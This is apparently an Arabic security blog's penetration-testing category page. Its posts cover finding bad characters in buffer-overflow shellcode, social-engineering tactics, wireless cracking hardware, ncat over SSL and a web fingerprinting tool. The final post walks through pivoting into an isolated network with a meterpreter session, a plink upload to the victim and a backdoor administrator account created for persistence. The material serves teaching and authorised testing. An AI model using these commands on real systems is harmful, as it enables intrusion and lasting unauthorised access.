RSSمحتويات التصنيف: "تجربة الإختراق"

إيجاد الـ Bad Characters في الـ Shellcode

مقدمة

في مرحلة من مراحل كتابتنا لثغرة BufferOverflow  فإننا قد نعاني من مشكلة مملة و نجد أن الـPayload  يعطّل الـ Exploit  بكامله مع أننا قد تأكدنا أن كل شئ يمشى بأفضل حال قبل وضع الـ Shellcode  الحقيقي. السبب في ذلك هو وجود الـ Bad Characters أو الـ Restricted Characters.

ستكتشف تلك المشكلة عندما تضع نقطة وقوف Break Point  في الـ Debugger  ولكن عند تنفيذ الثغرة لن تصل إلى ذلك العنوان. أو أنك ستصل ولكن الـ Shellcode لن يعمل (بشرط تأكدك أن جميع الأجزاء الأخرى سليمة).

ما هي الـ Bad/Restricted Characters؟

هي Characters عادية من ضمن الـ Shellcode يتم عمل Decoding لها بشكل طبيعي ولكن لها معنى لا يقبله البرنامج المصاب كأن يكون هذا الـ Characters سيدخل في تسمية ملف مثلا و فلو فرضنا أن في الشل كود قيمة ستدخل في تسمية ملف ما و كانت القيمة “\x7D” و التي تعني “}” و من المعروف أننا لا نستطيع وضع هذا الحرف في إسم ملف فوقتها سيوقف هذا الحرف مجرى عملية الـ Decoding  للـ Shellcode.

قد يبدر إلى أذهاننا بعض الأسئلة, منها..

س/ هل جميع البرامج المصابة سيكون بها Bad Characters Restriction ؟

ج/ لا

س/ هل يوجد Bad Characters أساسية يجيب أزيلها من أي Shellcode  أقوم بعمله؟

ج/ نعم, هما:  x00 و  x0d

س/ هل كل البرامج لها نفس الـ Bad Characters أي أنني أستطيع أن أحذف كل ما تم اكتشافه سابقا في البرامج اللاحقة؟

ج/ لا, لكل برنامج Bad Characters  مختلفة تختلف بطبيعة البرنامج و طريقة تنفيذه

س/ هل يمكن أن يحتوي البرنامج على أكثر من Bad Character واحد ؟

ج/ للأسف نعم

إيجاد الـ Bad Characters – الطريقة الأولى

في البداية, هذه الطريقة هي طريقة مملة و مرهقة جدا و إن كنت سأعطيها إسما فلا أجد أفضل من طريقة السكتة الدماغية حيث يتوقف العقل عن التفكير تماما مع الحاجة إلى الكثير من العمل الممل إلا إذا كنت محظوظ و وجدت الحرف في أول سطر أو سطرين,  وأمر الحظ بالذات غير متوفر بالنسبة لي شخصيا.

تعتمد هذه الطريقة على إنشاء جميع احتمالات الحروف من 0-255 عن طريق سكريبت يسمى generatecodes.pl.

في البداية تقوم بتنفيذ السكريبت مع إزالة الـBad Characters الشائعة x00  و x0d .
./generatecodes.pl 00,0d
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e"
"\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d"
"\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c"
"\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b"
"\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a"
"\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79"
"\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88"
"\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97"
"\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6"
"\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5"
"\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4"
"\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3"
"\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2"
"\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1"
"\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

الأن نأخذ أول سطر من المخرجات و نستبدل الـ Shellcode  بهذا السطر و نضع الـ Break Point خاصتنا و من ثم ننفذ البرنامج. إذا وصلنا للعوان الصحيح فهذا يعني أن Bad Characters ليست من ضمن الحروف التي في السطر الأول.

مثال:
shellcode = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0e\x0f\x10")
الأن نضيف السطر الثاني من المخرجات إلى السطر الأول و نضع الـ Break Point خاصتنا و من ثم ننفذ البرنامج. إذا وصلنا للعوان الصحيح فهذا يعني أن Bad Characters ليست من ضمن الحروف التي في السطر الثاني, و هكذا.

مثال:
shellcode = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f")

عندما لا نصل للعنوان الصحيح, نقوم بقسم السطر الذي وصلنا عنده و حصل عنده خطأ في النتائج و نستبدل النصف الأول منه بـ “\x41” مثلا . ثم نجرب فإن حصل خطأ, فهذا يعني أن الـ Bad Character في النصف الأخر, وقتها نبدأ نغير حروف النصف الثاني من السطر الأخير إلى “\x41” و نجرب في كل مره حتى نصل أنه لا يوجد خطأ في النتائج و عندها سنعرف ال Bad Character

مثال:
"\x41\x41\x41\x41\x41\x41\x41\x41\x28\x29\x2a\x2b\x2c\x2d\x2e"
سنفترض أننا وجدنا و أنه “x0a”  إذا سنقول بعمل الأتي
./generatecodes.pl 00,0d,0a
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11"
"\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e"
"\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d"
"\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c"
"\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b"
"\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a"
"\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89"
"\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98"
"\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7"
"\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6"
"\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5"
"\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4"
"\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3"
"\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2"
"\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

و نتأكد مرة أخرى, لو لظهر أي خطأ في مجرى سير البرنامج في الـ Debugger  إذن كل شئ على ما يرام. و إن لم!!, فهذا يعني -ولا حول ولا قوه إلا بالله- أنه يوجد Bad Character أخر و يجب أن تكمل المسيرة حتى تجده.

إيجاد الـ Bad Characters – الطريقة الثانية – تحديث 19/2/2013

قام فريق Corelan بإيقاف تطوير الإضافة pvefindaddr واستبدلها بالإضافة الجديدة والأفضل mona.py مع استخدام الدالة compare

حمل الإضافة من هنا mona.py

كل ما عليك فعله هو وضع الإضافة في مجلد الـمنقح Immunity debugger  في المسار التالي

C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands

ثم ضع ملف الـ Shellcode  في الـ C  حيث يكون مساره

c:\shellcode.bin

ملاحظة: إذا كان الـShellcode بصيغة الـ Hex فيجب تحويله إلى Binary , الرجاء زيارة هذا الرابط

الأن ضع الـ Break point   خاصتك ثم نفذ الـ exploit  الذي يحتوي على الـ shellcode  الحقيقي

بمجرد توقف البرنامج, نفذ الأمر التالي في Command bar  في الـ Immunity Debugger

!mona compare c:\shellcode.bin

ستخرج لك نافذة تحتوي على العناوين التي تتواجد بها الـ Bad Characters مثل هذه

الأن اذهب إلى نافذة الـسجلات  من

View >> Log  أو اضغط   ALT + L

ستجد التالي: (يرجى تكبير الصورة)

كما ترى في حالتي كانت الـ Bad Characters  هي  5c و 2f

أيضا تستطيع أن تجد النتائج في ملف compare.txt على هذا المسار

C:\Program Files\Immunity Inc\Immunity Debugger
(هذا المسار يحتوي على معظم نتائج استخدام mona.py).

إيجاد الـ Bad Characters – الطريقة الثانية

في البداية أحب أن أرفع القبعة إلى Peter Van رئيس فريق Corelan  و هو من أشهر و أقوى الأشخاص في شرح الـ Buffer Overflow ومبرمج للعديد من السكربتات المفيدة جدا في هذا المجال.

الطريقة الثانية هي عن طريق إضافة رائعة إسمها pvefindaddr مع استخدام الدالة compare

ملاحظة: لا تنسى إضافة pvefindaddr فلها استخدامات كثيرة و رائعة في الـ Buffer Overflow

كل ما عليك فعله هو وضع الإضافة في مجلد الـمنقح Immunity debugger  في المسار التالي

C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands

ثم ضع ملف الـ Shellcode  في الـ C  حيث يكون مساره

c:\shellcode.bin

ملاحظة: إذا كان الـShellcode بصيغة الـ Hex فيجب تحويله إلى Binary , الرجاء زيارة هذا الرابط

الأن ضع الـ Break point   خاصتك ثم نفذ الـ exploit  الذي يحتوي على الـ shellcode  الحقيقي

بمجرد توقف البرنامج, نفذ الأمر التالي في Command bar  في الـ Immunity Debugger

!pvefindaddr compare c:\shellcode.bin

ستخرج لك نافذة تحتوي على العناوين التي تتواجد بها الـ Bad Characters مثل هذه

الأن اذهب إلى نافذة الـسجلات  من

View >> Log  أو اضغط   ALT + L

ستجد التالي: (يرجى تكبير الصورة)

كما ترى في حالتي كانت الـ Bad Characters  هي  5c و 2f

أيضا تستطيع أن تجد النتائج في ملف compare.txt على هذا المسار

C:\Program Files\Immunity Inc\Immunity Debugger (هذا المسار يحتوي على معظم نتائج استخدام pvefindaddr).

تحياتي واحترامي

الهندسة الإجتماعيّة: الحلقة الأولى

الهندسة الإجتماعيّة هي اسم تقني للخداع والتّحايل. يهدف فيها المهاجم إلى الإيقاع بالضّحيّة للحصول على معلومات منه عن الهدف الذي يسعى إلى اختراقه (أو التّسلل إليه). في المجال الأمني التّقني تعدّ الهندسة الإجتماعيّة أحد أقدم أنواع القرصنة.

ترتكز الهندسة الإجتماعيّة على استغلال العامل البشري. فالإنسان بطبعه:

1- لديّه الرّغبة في أن يساعد الآخرين.
2- عنده نزعة للثّقة بغيره.
3- يخشى من الوقوع في المشاكل.
4- يتحاشى المواجهة.

باستغلال أحد هذه الطباع أو أكثر، يمكن للقراصنة الإلتفات على إجراءات الحماية داخل المؤسّسات. فكل ما على المهاجم (القرصان) فعله، هو استغلال موظف من داخل المؤسّسة في الهجوم عليها. هذا عمليّاً يوفر على المهاجم الكثير من الوقت الذي سيصرفه في: أيجاد ثغرات في النّظام، استغلال الثغرات، الحصول على كلمات مرور ومن ثمّ كسر كلمات المرور…إلخ.

ومع الانتشار الكبير للشّبكات الإجتماعيّة، تحسّنت إلى حدٍّ كبير القدرة على القيام بالهندسة الإجتماعيّة. فالشبكات الإجتماعية تحتوي على معلومات على الأشخاص وعلاقاتهم، وبعض (أو الكثير) من تفاصيل حياتهم…..إلخ.

أنواع الهندسة الإجتماعيّة

يمكن تقسيم الهندسة الإجتماعيّة اليوم إلى أربعة أنواع: (هذا التّقسيم يتغيّر مع الوقت تبعاً للأساليب والتّقنيات التي يوظّفها المهاجمون في هجومهم)

1- المباشر

هنا يقوم المهاجم بالتّوجّه إلى الهدف بنفسه محاولاً الدخول إلى مناطق غير مصرّح لها به. كأن يدّعي مثلاً أنّه يعمل في شركة الهاتف ويريد اصلاح خلل ما في شبكة الهاتف داخل الشركة.

2- التّحايل

وهو وضع الضحيّة في موقف سيناريو معيّن يبدو واقعيّاً وقابلاً للتّصديق، ولكنّه في الحقيقة غير ذلك. والغرض منه الحصول من الضّحيّة على معلومات كحسابه البنكي، او اسم المستخدم و/أو كلمة المرور الخاصّة به. مثلاً انتحال شخصيّة فنّي حاسوب، يحاول مساعدة موظّف في تحديث نظامه، أو معالجة مشكلة في الطابعة، إلخ. الموظّف أكيد لديه مشكلة (إذا عملت فنّي حاسوب فستفهم قصدي تماماً 🙂 )، حاسوبه يعمل ببطئ، أو تصفّحه للإنترنت بطيء. فنّي الحاسوب يقوم بإرشاد الموظّف عبر الهاتف حول كيفيّة تحسين أداء حاسوبه، أو سرعة الاتصال لديه عبر تحميل برنامج ما يرسله المهاجم (فنّي الحاسوب) إلى الموظّف (الضحيّة) وتنصيب هذا البرنامج على حاسوب الموظّف. البرنامج هو عبارة عن برمجيّة خبيثة، مثلاً حصان طروادة، حيث يتمّ دمج برنامج حقيقي سليم ببرنامج آخر ضار. هذا البرنامج الضّار يمكن المهاجم من الحصول على موطئ قدم في حاسوب الضحيّة، والشبكة داخل المؤسّسة ككل.

3- التّصيّد

في هجمات التّصيّد يقوم المهاجم بإرسال كم كبير من الرّسائل الإلكترونيّة التّي توظّف الخداع لجعل المستخدم يقوم بتنفيذ برنامج ضار يقوم مرفقاً بالرّسالة. طبعاً المهاجم لا يتنظر أن يقوم كل فرد وصلت له رسالة المهاجم بفتحها وفتح الملفات المرفقة معها. فالصّياد عندما يضع الطعم للأسماك عند صيده لا يتوقع أن تبتلع كل الأسماك الطّعم.

التّصيّد نفسه أنواع، النّوع الذي ذكرته قبل قليل هو النّوع العام. ولكن هناك نوع آخر منه ويدعى التّصيد المستهدَف. في هذا النّوع يقوم المهاجم بإرسال رسائل إلكترونيّة لأفراد يعملون في شركة معيّنة مثلاً. مثل الهجوم الذي تعرّضت له غوغل والذي يقال أنّه قد بدأ بهجوم تصيّد مستهدف. إذا لم تتضح الفكرة، ففكر بالصّياد الذي يريد اصطياد نوع معيّن من الأسماك فالصّياد في هذه الحالة سيهيّئ طُعماً يجذب هذا النّوع من الأسماك.

4- الطعم

هذا النّوع يستفيد من حبّ الاستطلاع والفضول لدى البشر. يقوم المهاجم بترك قرص مضغوط (CD,DVD)، أو ذاكرة متنقّلة (USB) في مكان بارز (قريب من شركة أو مؤسّسة ما يستهدفها المهاجم). محتوى القرص أو الذاكرة يحتوي على برنامج ضار كمسجّل المفاتيح (الذي يقوم بتسجيل كل ضغطة مفتاح على لوحة المفاتيح يقوم الضحيّة بها) أو حصان طروادة أو فيروس…إلخ.

في الحلقة القادمة إن شاء الله سنتناول نماذج من الهندسة الإجتماعيّة.

اختبار اختراق نظام ويندوز 7 و تخطى حماية الكاسبر سكاى

هذه مساهمة مفيدة من الأخ محمد رمضان تشرح اختراق نظام ويندوز 7 وتخطي حماية برنامج مكافحة الفيروسات كاسبرسكي 2011. الأخ محمد تطرق لبعض النقاط الهامة والتي ينصح بها عند القيام باختبارات الأختراق.

الشرح يأتي في ثلاثة اجزاء

الجزء الأول

الجزء الثاني

الجزء الثالث

ويمكن مشاهدة الفيديو كاملاً من خلال الرابط التالي:

http://blip.tv/file/4426743

نشكر الأخ محمد على مساهمته القيّمة ونتمّنى أن يستفيد منها الجميع

قائمة بكروت الوايرليس لاختراق شبكات الوايرليس

أثناء تصفحي كنت أبحث عن كروت الوايرليس التي تصلح لاختراق الشبكات و في نفس الوقت تكون مدعومة جيدا في اللينوكس. ما يميز هذه الكروت عن غيرها هو احتوائها على شريحة Atheros الداعمة لوضع Monitoring Mode أو الـ Infrastructure Mode و هي الأشهر.

إليكم القائمة

3Com
OfficeConnect Wireless 11a/b/g PC Card 3CRWE154A72
11a/b/g Wireless PC Card w/ XJACK Antenna 3CRPAG175
(Wireless 11a/b/g PC Card with XJACK Antenna (3CRPAG175B
11a/b/g Wireless PCI Adapter 3CRDAG675
(Wireless 11a/b/g PCI Adapter (3CRDAG675B
(OfficeConnect Wireless 108Mbps 11g XJACK PC Card (3CRXJK10075

Acer
Nplify 802.11 b/g/n

AirLink
AWLH-4030

AOpen
AOI-811

Atheros
Atheros reference design
Atheros AR5001X
Atheros AR5002X
Atheros AR5002G
Atheros AR5004X
Atheros AR5004G

AT&T
Plug and Share 6500G
Plug and Share 6550G
Plug and Share 6700G

Alfa
AWUS036NH
AWUS036NEH
AWUS051NH

Blitzz
BWI715
NetWave Point PC

Cisco
Aironet CB21AG

Conceptronic
C54i

D-Link
AirPro DWL-AB650
AirPlus DWL-650
DWL-G650
DWL-AG650
DWL-AG520
DWL-G520
DWL-AG530
DWL-G630
DWL-G510

IBM
T40p/IBM ab miniPCI
T42/IBM abg miniPCI

HP
(WLAN W500 (a/b/g)
(WLAN W400 (b/g)

Gigabyte
GN-WMAG01
GN-WLMA102
GN-WIAG01
GN-WIAG02

LANCOM Systems
AirLancer MC-54ab
AirLancer MC-54ag

Level One
WNC-0300
WPC-0300 v3

Linksys
WMP55AG
(WPC55AG (chipset AR5006X or AR5212
WPC54G V7
WRT54G v.7
WPC300N V2
WRT350N V2

NEC
Aterm WL54AG and PA-WL/54AG

Netgear
WAG11
WG311
WG311T
WG511T
WPN511

Netgate/Senao/EnGenius
5034CB Aries
5354 Aries 2 4G

Nortel
2201 PCMCIA

Peabird
WLG-PCMCIA-TURBO

Planet
WL-3560

Procomp Informatics
PW-8860AS

Proxim
(Orinoco 11b/g PC Card Silver (8471-WD
Orinoco Gold 8470
Orinoco Gold 8470-FC
Orinoco Gold 8470-WD
Orinoco Gold 8480-WD
Orinoco Silver 8481-WD
(Orinoco Silver 6460 (uncertain

SMC
2335W

Sony
PCWA-C300S

SPARKLAN
WMIA-105AG
WMIA-112AG
WMIA-123AG

TOPCOM
[email protected] PRO PCI 154
[email protected] PRO PC CARD 3054

TP-LINK
TL-WN510G
TL-WN322G
TL-WN7200ND

Wistron
AWLH-4030
CM9

قد يشتكي البعض من التعريفات , سأضع طريقة نجحت معي

  1. تأكد من أن برنامج ndiswrapper موجود. ( استخدم yum  أو apt-get )
  2. ضع CD  التعريف الذي يحوي تعرف الويندوز ثم ( cd to /media/cdrom0/ndis5 )
  3. بصلاحيات الجذر, نفذ ( ndiswrapper -i netwpn11.inf )
  4. بصلاحيات الجذر, نفذ ( ndiswrapper -m )
  5. بصلاحيات الجذر, نفذ ( modprobe ndiswrapper ) لن تحتاج لهذه الخطوة لو أعدت التشغيل
  6. الأن وصل كرت الوايرليس في الجهاز و ابحث عن الشبكة

ملاحظة: برنامج ndiswrapper لا يدعم كل التعريفات فبعض التعريفات يدعمها برنامج Madwifi. بشكل عام تستطيع أن تزور هذه الصفحة و أيضا هذه الصفحة.

الرجاء لمن يعرف المزيد أن يزيدنا لنضعه في هذا الموضوع مع حفظ حقوقه.
أخر تحديث للموضوع: 12/1/2014

تحياتي واحترامي

الاتصال الآمن في الأداة NetCat

لا يخفى على أحد مهتم بالحماية أهمية هذه الأداة و ما تقدمة من مميزات. في هذا الموضوع لن أشرح الاستخدامات العادية و المشهورة فلكنا يعرف ما تقدمه الأداة من اتصال و إنصات و نقل ملفات و محادثة كتابية , إلخ.

هل فكرت أن تشفر الاتصال عندما تستخدم هذه الأداة الرائعة؟

إليك الطريقة

بشكل افتراضي فإن الأدة netcat لا تدعم الاتصال المشفر , ستجد في اللينوكس أن الأداة تأتي بإسمين هما nc و  ncat والأخير هي النسخة المطورة من الـ nc  و التي تدعم الاتصال المشفر بـSSL

سنقوم الأن بعمل محادثة صغيرة بين جهازين

الجهاز الأول

ncat -l --ssl 9911

الجهاز الثاني

ncat -vn 10.0.0.99 9911 --ssl

قبل استخدام الـ SSL

بعد استخدام الـ SSL

ماهي الأغراض الأخرى التي قد تحتاج فيها دعم الـ SSL  ؟

الجواب:

عندما تحاول الاتصال بأحد الخدمات التي تستخدم الـ SSL  لعمل port scanning  مثلا فإنك لو استخدم الطريقة التقليدية فلن تحصل على النتائج المطلوبه

مثال,,

سنحاول أن نتصل بخادم البريد لـجووجل و الذي يدعم الـ SSL  بشكل افتراضي

الطريقة التقليدية

nc gmail.google.com 443

GET / HTTP/1.1
[[email protected] KING]#

بطريقة  دعم الـ SSL

ncat gmail.google.com 443 --ssl

GET / HTTP/1.1

HTTP/1.1 200 OK
Date: Fri, 27 Aug 2010 18:21:46 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=ISO-8859-1
Set-Cookie: PREF=ID=c1d3dce8feaa44d1:TM=1282933306:LM=1282933306:S=U-GMKA7wWIYvzZOo; expires=Sun, 26-Aug-2012 18:21:46 GMT; path=/; domain=.google.com
Set-Cookie: NID=38=RPCPCmxT9uXfVa5qX6OMLvE1TdbWg9a45Y9sNVu5s1gcHZKbBMvlFpGVKUTRZMwdRw_81tOc4I8x1E7wuAYe86CkXTq6aEW80rDetrx7xZEyXva1j1hGW_RX_U6unOBe; expires=Sat, 26-Feb-2011 18:21:46 GMT; path=/; domain=.google.com; HttpOnly
Server: gws
X-XSS-Protection: 1; mode=block
Transfer-Encoding: chunked
…….

لتحميل الأداة

تحياتي و احترامي

BlindElephant أداة كشف تطبيقات الويب الجديدة

كوني أستخدم خدمات شركة Qualys فإنني على إطلاع مستمر بآخر التطورات والمستجدات التي يقومون بها … وقبل كم شهر وصلني بريد بإنهم يقومون بعمل أداة للتعرف على برمجيات الويب … لم يمضي الكثير من الوقت حتى صدرت الأداة وتم شرح فوائدها وكيفية إستعمالها في مؤتمر Blackhat 2010 الأخير … ويمكن الحصول على الإستعراض الذي تم عن الأداة من خلال هذا الرابط (أضغط هنا) … في الإستعراض أعطوا أرقام وإحصائيات الى أي درجة هي مفيدة أن تقوم بعمل Fingerprint لمعرفة التطبيق وإصداره في إستعمالك لشن هجوم … وكذلك الأداة من خلال كشف هذه الأمور تساعدك في إخبارك بما هو معروف وبالتالي تحاول أن تقوم بإخفائه …

تعمل الأداة من خلال مقارنة الملفات التي تمر عليها مع قاعدة بيانات كبيرة جداً لـ Hashes لملفات ذلك التطبيق الأصلي وأماكن تواجد هذه الملفات … يعني مثلا ملف edit-tags.php الموجود في تطبيق الورد بريس، إذا تم إيجاده أثناء الفحص فإنه يتم مقارنته مع قاعدة البيانات التي يستخدمها BlindElephant وذلك لمعرفة هل النسخة المستعملة هذه هي 3.0 أو 3.0.1 أم غيرها … وهكذا …

لتحميل وإستعمال الأداة، يرجى زيارة الموقع الرسمي لها (أضغط هنا) …

اختراق شبكة غير متصلة بالإنترنت عن طريق الـ SSH Tunnel

[toc]

 

كثيرا ما نتحدث عن الحماية مع أشخاص تقنيين ولا يشترط كل إنسان تقني أن يكون مهتم بالحماية حتى و إن كان مهندس أنظمة أو مهندس شبكات أو كلاهما.

فعندما نبدأ الحديث عن حماية الـ Enterprise خاصة نجد الجميع يٌطَمئن نفسه بأن شبكته معزولة عن الإنترنت و أن فريق العمل محمي خلف NAT و Firewall ويظن بهذا أنه يستطيع أن يستريح من عناء إنشاء تلك الشبكة الرائعة و الأمنة  (في نظره). موضوعنا اليوم هو إثبات خطأ هؤلاء و خطورة هذا التفكير على الشركات و خاصة المتوسطة و الكبيرة الحجم.

مقدمة

كما ذكرنا أنفا أن عزل الشبكات عن الإنترنت لا يعني أنها آمنة و أنه لن يستطيع أن يصل إليها أحد عبر الإنترنت.

سيكون بطل المهمة هو استعمال تقنية النفق عن طريق الـ SSH  أو SSH Tunnels . سنرى في هذا التكنيك كم هو رائع و خطير عند استخدامه لأغراض أخرى.

إليكم رسمة الشبكة التي سنخترقها اليوم.

شكل الشبكة الخارجي

أعتقد وضع هذه الشبكة  موجود  أو حتى ما يشاببه أو قريب منه جدا و بكثرة ,,

الشبكة 10.0.0.0/8: سنفترض أنها الإنترنت أو الشبكة الخرجية, و هي مكان الخطر المعروف

الشبكة 192.168.28.0/24: هي شبكة الموظفين في الشركة وهم قسم الـ IT و يستطيعون الوصول للإنترنت, لكنهم خلف Firewall/NAT

الشبكة 172.16.0.0/16: هي شبكة الخوادم وهي الشبكة المعزولة عن الإنترنت تماما.

جهاز موظف IT

جهاز أحد موظفين الـ IT: يمتلك كرتين شبكة و يستطيع الوصول إلى الإنترنت , يظهر ذلك من عملية الـ ping

Non Routable Machine

صورة من أحد السيرفرات: له كرت شبكة واحد متصل بالشبكة المعزولة عن الإنترنت

بداية المهمة ! , التسلل إلى الداخل

و بطريقة أو أخرى استطعنا أن نخترق جهاز أحد موظفين الـ IT (هنا تكمن قوة جمع المعلومات و الاستفادة منها و التلاعب بالهندسة الاجتماعية العكسية)

سنفترض أننا اخترقنا جهازه -والذي له اتصال بالانترنت-  بأي نوع من أنواع الاختراق و لنفترض أنه Client Side Attack عن طريقة ثغرة متصفح الـ IE و هي aurora و كان الـ payload هو meterpreter و استخدمنا منه الاتصال العكسي reverse_tcp.

شكل اختراق الضحية IT PC

ملاحظة: يفضل أن تقوم بنقل الـpayload إلى أي خدمة/عملية مضمونة لأن الضحية قد يغلق المتصفح و نخسر الاتصال به.

meterpreter > ps

Process list

============

PID Name Arch Session User Path

--- ---- ---- ------- ---- ----

0 [System Process]

4 System x86 0 NT AUTHORITY\SYSTEM

684 smss.exe x86 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe

792 csrss.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\csrss.exe

816 winlogon.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\winlogon.exe

868 services.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\services.exe

880 lsass.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\lsass.exe

1040 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe

1112 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe

1404 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe

1524 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe

1684 svchost.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\system32\svchost.exe

1832 explorer.exe x86 0 NOT_SECURE\vm-user C:\WINDOWS\Explorer.EXE

200 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\spoolsv.exe

440 VMwareTray.exe x86 0 NOT_SECURE\vm-user C:\Program Files\VMware\VMware Tools\VMwareTray.exe

448 VMwareUser.exe x86 0 NOT_SECURE\vm-user C:\Program Files\VMware\VMware Tools\VMwareUser.exe

492 afsloader.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\Ability FTP Server\afsloader.exe

532 inetinfo.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\inetsrv\inetinfo.exe

596 snmp.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\snmp.exe

676 VMwareService.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\VMwareService.exe

756 afsmain.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\Ability FTP Server\afsmain.exe

1380 afsmain.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\Ability FTP Server\afsmain.exe

1912 alg.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\System32\alg.exe

3228 wscntfy.exe x86 0 NOT_SECURE\vm-user C:\WINDOWS\system32\wscntfy.exe

1252 rundll32.exe x86 0 NOT_SECURE\vm-user C:\WINDOWS\system32\rundll32.exe
meterpreter > migrate 1832

[*] Migrating to 1832...

[*] Migration completed successfully.

رائع,,

تأمين الطريق و مد الأنفاق!!

سنقوم الأن برفع ملف plink.exe إلى جهاز الضحية حيث Plink  هو البرنامج الذي سنستخدمه لإنشاء النفق بيننا وبين جهاز الـ IT

meterpreter > upload /media/ZONE/Security-Zone/Tools-Zone/plink.exe -> c:\\windows\
[*] uploading  : /media/ZONE/Security-Zone/Tools-Zone/plink.exe -> c:\windows\
[*] uploaded   : /media/ZONE/Security-Zone/Tools-Zone/plink.exe -> c:\windows\\plink.exe

ثم نقوم بالحصول على على shell / سطر الأوامر على جهاز الضحية
ملاحظة: أعتدت أن أنشئ مستخدم بصلاحيات المدير على أي جهاز أقوم باختراقه و هذه طريقة من عدة طرق أتبعها لضمان العودة بطريقة أو بأخرى.

C:\Documents and Settings\vm-user>net user KING sec4ar /add
net user KING sec4ar /add
The command completed successfully.

C:\Documents and Settings\vm-user>net localgroup administrators KING /add
net localgroup administrators KING /add
The command completed successfully.

C:\Documents and Settings\vm-user>

التعامل مع الأنفاق

حتى الأن لم أدخل في موضوعي!! ,,
إذن لنبدأ ..

قاعدة هامة: كل منفذ تريد أن تتصل به على جهاز الضحية  يجب أن تنشئ له نفق خاص و يكون موجه لذلك المنفذ

